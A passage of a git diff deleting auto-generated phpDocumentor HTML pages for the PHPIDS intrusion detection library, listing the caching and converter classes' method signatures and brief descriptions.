class="method-title">Constructor __construct</span> (line <span class="line-number">100</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Constructor</p> - <ul class="tags"> - <li><span class="field">throws:</span> Exception if necessary files aren't writeable</li> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">void</span> - <span class="method-name"> - __construct - </span> - (<span class="var-type">string</span> <span class="var-name">$type</span>, <span class="var-type">array</span> <span class="var-name">$init</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$type</span><span class="var-description">: caching type</span> </li> - <li> - <span class="var-type">array</span> - <span class="var-name">$init</span><span class="var-description">: the IDS_Init object</span> </li> - </ul> - - - </div> -<a name="methodgetCache" id="getCache"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">getCache</span> (line <span class="line-number">172</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns the cached data</p> -<p class="description"><p>Note that this method returns false if either type or file cache is not set</p></p> - <ul class="tags"> - <li><span class="field">return:</span> cache data or false</li> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">mixed</span> - <span class="method-name"> - getCache - </span> - () - </div> - - - <hr class="separator" /> - <div class="notes">Implementation of:</div> - <dl> - <dt><a href="../PHPIDS/IDS_Caching_Interface.html#methodgetCache">IDS_Caching_Interface::getCache()</a></dt> - <dd>Interface method</dd> - </dl> - - </div> -<a name="methodsetCache" id="setCache"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">setCache</span> (line <span class="line-number">142</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Writes cache data</p> - <ul class="tags"> - <li><span class="field">throws:</span> Exception if necessary files aren't writeable</li> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">object</span> - <span class="method-name"> - setCache - </span> - (<span class="var-type"></span> <span class="var-name">$data</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">array</span> - <span class="var-name">$data</span><span class="var-description">: the caching data</span> </li> - </ul> - - <hr class="separator" /> - <div class="notes">Implementation of:</div> - <dl> - <dt><a href="../PHPIDS/IDS_Caching_Interface.html#methodsetCache">IDS_Caching_Interface::setCache()</a></dt> - <dd>Interface method</dd> - </dl> - - </div> - - </div> - </div> - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:50 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Caching_Session.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Caching_Session.html deleted file mode 100755 index 155aceba7d8d16f2c331bd4c9ebe4a9feaf6e227..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Caching_Session.html +++ /dev/null @@ -1,241 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs For Class IDS_Caching_Session</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="class-name">Class IDS_Caching_Session</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <p class="implements"> - Implements interfaces: - <ul> - <li><a href="../PHPIDS/IDS_Caching_Interface.html">IDS_Caching_Interface</a></li> </ul> - </p> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">File caching wrapper</p> -<p class="description"><p>This class inhabits functionality to get and set cache via session.</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">version:</span> Release: $Id:Session.php 517 2007-09-15 15:04:13Z mario $</li> - <li><span class="field">copyright:</span> 2007 The PHPIDS Group</li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">since:</span> Version 0.4</li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - <p class="notes"> - Located in <a class="field" href="_Caching---Session.php.html">/Caching/Session.php</a> (line <span class="field">52</span>) - </p> - - - <pre></pre> - - </div> -</div> - - - - - <a name="sec-method-summary"></a> - <div class="info-box"> - <div class="info-box-title">Method Summary</span></div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Methods</span> (<a href="#sec-methods">details</a>) - </div> - <div class="info-box-body"> - <div class="method-summary"> - <div class="method-definition"> - static <span class="method-result">object</span> - <a href="#getInstance" title="details" class="method-name">getInstance</a> - (<span class="var-type">string</span> <span class="var-name">$type</span>, <span class="var-type">array</span> <span class="var-name">$init</span>) - </div> - - <div class="method-definition"> - <span class="method-result">void</span> - <a href="#__construct" title="details" class="method-name">__construct</a> - (<span class="var-type">string</span> <span class="var-name">$type</span>, <span class="var-type">array</span> <span class="var-name">$init</span>) - </div> - <div class="method-definition"> - <span class="method-result">mixed</span> - <a href="#getCache" title="details" class="method-name">getCache</a> - () - </div> - <div class="method-definition"> - <span class="method-result">object</span> - <a href="#setCache" title="details" class="method-name">setCache</a> - (<span class="var-type"></span> <span class="var-name">$data</span>) - </div> - </div> - </div> - </div> - - - <a name="sec-methods"></a> - <div class="info-box"> - <div class="info-box-title">Methods</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-method-summary">Methods</a> (<span class="disabled">details</span>) - - </div> - <div class="info-box-body"> - <A NAME='method_detail'></A> -<a name="methodgetInstance" id="getInstance"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">static method getInstance</span> (line <span class="line-number">98</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns an instance of this class</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - static - <span class="method-result">object</span> - <span class="method-name"> - getInstance - </span> - (<span class="var-type">string</span> <span class="var-name">$type</span>, <span class="var-type">array</span> <span class="var-name">$init</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$type</span><span class="var-description">: caching type</span> </li> - <li> - <span class="var-type">array</span> - <span class="var-name">$init</span><span class="var-description">: the IDS_Init object</span> </li> - </ul> - - - </div> - -<a name="method__construct" id="__construct"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">Constructor __construct</span> (line <span class="line-number">84</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Constructor</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">void</span> - <span class="method-name"> - __construct - </span> - (<span class="var-type">string</span> <span class="var-name">$type</span>, <span class="var-type">array</span> <span class="var-name">$init</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$type</span><span class="var-description">: caching type</span> </li> - <li> - <span class="var-type">array</span> - <span class="var-name">$init</span><span class="var-description">: the IDS_Init object</span> </li> - </ul> - - - </div> -<a name="methodgetCache" id="getCache"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">getCache</span> (line <span class="line-number">129</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns the cached data</p> -<p class="description"><p>Note that this method returns false if either type or file cache is not set</p></p> - <ul class="tags"> - <li><span class="field">return:</span> cache data or false</li> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">mixed</span> - <span class="method-name"> - getCache - </span> - () - </div> - - - <hr class="separator" /> - <div class="notes">Implementation of:</div> - <dl> - <dt><a href="../PHPIDS/IDS_Caching_Interface.html#methodgetCache">IDS_Caching_Interface::getCache()</a></dt> - <dd>Interface method</dd> - </dl> - - </div> -<a name="methodsetCache" id="setCache"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">setCache</span> (line <span class="line-number">115</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Writes cache data into the session</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">object</span> - <span class="method-name"> - setCache - </span> - (<span class="var-type"></span> <span class="var-name">$data</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">array</span> - <span class="var-name">$data</span><span class="var-description">: the caching data</span> </li> - </ul> - - <hr class="separator" /> - <div class="notes">Implementation of:</div> - <dl> - <dt><a href="../PHPIDS/IDS_Caching_Interface.html#methodsetCache">IDS_Caching_Interface::setCache()</a></dt> - <dd>Interface method</dd> - </dl> - - </div> - - </div> - </div> - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:53 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Converter.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Converter.html deleted file mode 100755 index 858119592f0df6442d7d1da5a7050d9a70c7c8cd..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Converter.html +++ /dev/null @@ -1,720 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs For Class IDS_Converter</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="class-name">Class IDS_Converter</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS specific utility class to convert charsets manually</p> -<p class="description"><p>Note that if you make use of IDS_Converter::runAll(), existing class methods will be executed in the same order as they are implemented in the class tree!</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">version:</span> Release: $Id:Converter.php 517 2007-09-15 15:04:13Z mario $</li> - <li><span class="field">copyright:</span> 2007 The PHPIDS Group</li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - <p class="notes"> - Located in <a class="field" href="_Converter.php.html">/Converter.php</a> (line <span class="field">51</span>) - </p> - - - <pre></pre> - - </div> -</div> - - - - - <a name="sec-method-summary"></a> - <div class="info-box"> - <div class="info-box-title">Method Summary</span></div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Methods</span> (<a href="#sec-methods">details</a>) - </div> - <div class="info-box-body"> - <div class="method-summary"> - <div class="method-definition"> - static <span class="method-result">string</span> - <a href="#convertConcatenations" title="details" class="method-name">convertConcatenations</a> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - <div class="method-definition"> - static <span class="method-result">string</span> - <a href="#convertEntities" title="details" class="method-name">convertEntities</a> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - <div class="method-definition"> - static <span class="method-result">string</span> - <a href="#convertFromCommented" title="details" class="method-name">convertFromCommented</a> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - <div class="method-definition"> - static <span class="method-result">string</span> - <a href="#convertFromControlChars" title="details" class="method-name">convertFromControlChars</a> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - <div class="method-definition"> - static <span class="method-result">string</span> - <a href="#convertFromJSCharcode" title="details" class="method-name">convertFromJSCharcode</a> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - <div class="method-definition"> - static <span class="method-result">string</span> - <a href="#convertFromJSUnicode" title="details" class="method-name">convertFromJSUnicode</a> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - <div class="method-definition"> - static <span class="method-result">string</span> - <a href="#convertFromNestedBase64" title="details" class="method-name">convertFromNestedBase64</a> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - <div class="method-definition"> - static <span class="method-result">string</span> - <a href="#convertFromNewLines" title="details" class="method-name">convertFromNewLines</a> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - <div class="method-definition"> - static <span class="method-result">string</span> - <a href="#convertFromOutOfRangeChars" title="details" class="method-name">convertFromOutOfRangeChars</a> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - <div class="method-definition"> - static <span class="method-result">string</span> - <a href="#convertFromProprietaryEncodings" title="details" class="method-name">convertFromProprietaryEncodings</a> - (<span class="var-type">string</span> <span class="var-name">$value</span>, <span class="var-type"><a href="../PHPIDS/IDS_Monitor.html">IDS_Monitor</a></span> <span class="var-name">$monitor</span>) - </div> - <div class="method-definition"> - static <span class="method-result">string</span> - <a href="#convertFromSQLHex" title="details" class="method-name">convertFromSQLHex</a> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - <div class="method-definition"> - static <span class="method-result">string</span> - <a href="#convertFromSQLKeywords" title="details" class="method-name">convertFromSQLKeywords</a> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - <div class="method-definition"> - static <span class="method-result">string</span> - <a href="#convertFromUTF7" title="details" class="method-name">convertFromUTF7</a> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - <div class="method-definition"> - static <span class="method-result">string</span> - <a href="#convertFromXML" title="details" class="method-name">convertFromXML</a> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - <div class="method-definition"> - static <span class="method-result">string</span> - <a href="#convertJSRegexModifiers" title="details" class="method-name">convertJSRegexModifiers</a> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - <div class="method-definition"> - static <span class="method-result">string</span> - <a href="#convertQuotes" title="details" class="method-name">convertQuotes</a> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - <div class="method-definition"> - static <span class="method-result">string</span> - <a href="#runAll" title="details" class="method-name">runAll</a> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - <div class="method-definition"> - static <span class="method-result">string</span> - <a href="#runCentrifuge" title="details" class="method-name">runCentrifuge</a> - (<span class="var-type">string</span> <span class="var-name">$value</span>, [<span class="var-type"><a href="../PHPIDS/IDS_Monitor.html">IDS_Monitor</a></span> <span class="var-name">$monitor</span> = <span class="var-default">null</span>]) - </div> - - </div> - </div> - </div> - - - <a name="sec-methods"></a> - <div class="info-box"> - <div class="info-box-title">Methods</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-method-summary">Methods</a> (<span class="disabled">details</span>) - - </div> - <div class="info-box-body"> - <A NAME='method_detail'></A> -<a name="methodconvertConcatenations" id="convertConcatenations"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">static method convertConcatenations</span> (line <span class="line-number">506</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Converts basic concatenations</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - static - <span class="method-result">string</span> - <span class="method-name"> - convertConcatenations - </span> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$value</span><span class="var-description">: the value to convert</span> </li> - </ul> - - - </div> -<a name="methodconvertEntities" id="convertEntities"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">static method convertEntities</span> (line <span class="line-number">229</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Converts from hex/dec entities</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - static - <span class="method-result">string</span> - <span class="method-name"> - convertEntities - </span> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$value</span><span class="var-description">: the value to convert</span> </li> - </ul> - - - </div> -<a name="methodconvertFromCommented" id="convertFromCommented"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">static method convertFromCommented</span> (line <span class="line-number">86</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Check for comments and erases them if available</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - static - <span class="method-result">string</span> - <span class="method-name"> - convertFromCommented - </span> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$value</span><span class="var-description">: the value to convert</span> </li> - </ul> - - - </div> -<a name="methodconvertFromControlChars" id="convertFromControlChars"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">static method convertFromControlChars</span> (line <span class="line-number">321</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Detects nullbytes and controls chars via ord()</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - static - <span class="method-result">string</span> - <span class="method-name"> - convertFromControlChars - </span> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$value</span><span class="var-description">: the value to convert</span> </li> - </ul> - - - </div> -<a name="methodconvertFromJSCharcode" id="convertFromJSCharcode"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">static method convertFromJSCharcode</span> (line <span class="line-number">134</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Checks for common charcode pattern and decodes them</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - static - <span class="method-result">string</span> - <span class="method-name"> - convertFromJSCharcode - </span> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$value</span><span class="var-description">: the value to convert</span> </li> - </ul> - - - </div> -<a name="methodconvertFromJSUnicode" id="convertFromJSUnicode"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">static method convertFromJSUnicode</span> (line <span class="line-number">422</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">This method converts JS unicode code points to regular characters</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - static - <span class="method-result">string</span> - <span class="method-name"> - convertFromJSUnicode - </span> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$value</span><span class="var-description">: the value to convert</span> </li> - </ul> - - - </div> -<a name="methodconvertFromNestedBase64" id="convertFromNestedBase64"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">static method convertFromNestedBase64</span> (line <span class="line-number">359</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">This method matches and translates base64 strings and fragments used in data URIs</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - static - <span class="method-result">string</span> - <span class="method-name"> - convertFromNestedBase64 - </span> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$value</span><span class="var-description">: the value to convert</span> </li> - </ul> - - - </div> -<a name="methodconvertFromNewLines" id="convertFromNewLines"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">static method convertFromNewLines</span> (line <span class="line-number">116</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Strip newlines</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - static - <span class="method-result">string</span> - <span class="method-name"> - convertFromNewLines - </span> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$value</span><span class="var-description">: the value to convert</span> </li> - </ul> - - - </div> -<a name="methodconvertFromOutOfRangeChars" id="convertFromOutOfRangeChars"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">static method convertFromOutOfRangeChars</span> (line <span class="line-number">383</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Detects nullbytes and controls chars via ord()</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - static - <span class="method-result">string</span> - <span class="method-name"> - convertFromOutOfRangeChars - </span> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$value</span><span class="var-description">: the value to convert</span> </li> - </ul> - - - </div> -<a name="methodconvertFromProprietaryEncodings" id="convertFromProprietaryEncodings"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">static method convertFromProprietaryEncodings</span> (line <span class="line-number">558</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">This method collects and decodes proprietary encoding types</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - static - <span class="method-result">string</span> - <span class="method-name"> - convertFromProprietaryEncodings - </span> - (<span class="var-type">string</span> <span class="var-name">$value</span>, <span class="var-type"><a href="../PHPIDS/IDS_Monitor.html">IDS_Monitor</a></span> <span class="var-name">$monitor</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$value</span><span class="var-description">: the value to convert</span> </li> - <li> - <span class="var-type"><a href="../PHPIDS/IDS_Monitor.html">IDS_Monitor</a></span> - <span class="var-name">$monitor</span><span class="var-description">: the monitor object</span> </li> - </ul> - - - </div> -<a name="methodconvertFromSQLHex" id="convertFromSQLHex"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">static method convertFromSQLHex</span> (line <span class="line-number">266</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Converts SQLHEX to plain text</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - static - <span class="method-result">string</span> - <span class="method-name"> - convertFromSQLHex - </span> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$value</span><span class="var-description">: the value to convert</span> </li> - </ul> - - - </div> -<a name="methodconvertFromSQLKeywords" id="convertFromSQLKeywords"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">static method convertFromSQLKeywords</span> (line <span class="line-number">291</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Converts basic SQL keywords and obfuscations</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - static - <span class="method-result">string</span> - <span class="method-name"> - convertFromSQLKeywords - </span> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$value</span><span class="var-description">: the value to convert</span> </li> - </ul> - - - </div> -<a name="methodconvertFromUTF7" id="convertFromUTF7"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">static method convertFromUTF7</span> (line <span class="line-number">449</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Converts relevant UTF-7 tags to UTF-8</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - static - <span class="method-result">string</span> - <span class="method-name"> - convertFromUTF7 - </span> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$value</span><span class="var-description">: the value to convert</span> </li> - </ul> - - - </div> -<a name="methodconvertFromXML" id="convertFromXML"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">static method convertFromXML</span> (line <span class="line-number">403</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Strip XML patterns</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - static - <span class="method-result">string</span> - <span class="method-name"> - convertFromXML - </span> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$value</span><span class="var-description">: the value to convert</span> </li> - </ul> - - - </div> -<a name="methodconvertJSRegexModifiers" id="convertJSRegexModifiers"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">static method convertJSRegexModifiers</span> (line <span class="line-number">214</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Eliminate JS regex modifiers</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - static - <span class="method-result">string</span> - <span class="method-name"> - convertJSRegexModifiers - </span> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$value</span><span class="var-description">: the value to convert</span> </li> - </ul> - - - </div> -<a name="methodconvertQuotes" id="convertQuotes"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">static method convertQuotes</span> (line <span class="line-number">249</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Normalize quotes</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - static - <span class="method-result">string</span> - <span class="method-name"> - convertQuotes - </span> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$value</span><span class="var-description">: the value to convert</span> </li> - </ul> - - - </div> -<a name="methodrunAll" id="runAll"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">static method runAll</span> (line <span class="line-number">65</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Runs all converter functions</p> -<p class="description"><p>Note that if you make use of IDS_Converter::runAll(), existing class methods will be executed in the same order as they are implemented in the class tree!</p></p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - static - <span class="method-result">string</span> - <span class="method-name"> - runAll - </span> - (<span class="var-type">string</span> <span class="var-name">$value</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$value</span><span class="var-description">: the value to convert</span> </li> - </ul> - - - </div> -<a name="methodrunCentrifuge" id="runCentrifuge"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">static method runCentrifuge</span> (line <span class="line-number">603</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">This method is the centrifuge prototype</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - static - <span class="method-result">string</span> - <span class="method-name"> - runCentrifuge - </span> - (<span class="var-type">string</span> <span class="var-name">$value</span>, [<span class="var-type"><a href="../PHPIDS/IDS_Monitor.html">IDS_Monitor</a></span> <span class="var-name">$monitor</span> = <span class="var-default">null</span>]) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$value</span><span class="var-description">: the value to convert</span> </li> - <li> - <span class="var-type"><a href="../PHPIDS/IDS_Monitor.html">IDS_Monitor</a></span> - <span class="var-name">$monitor</span><span class="var-description">: the monitor object</span> </li> - </ul> - - - </div> - - - </div> - </div> - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:41 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Event.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Event.html deleted file mode 100755 index fbc4fdf55e50db326aab5287de35a96ebe689eaa..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Event.html +++ /dev/null @@ -1,513 +0,0 @@ -<?xml version="1.0" 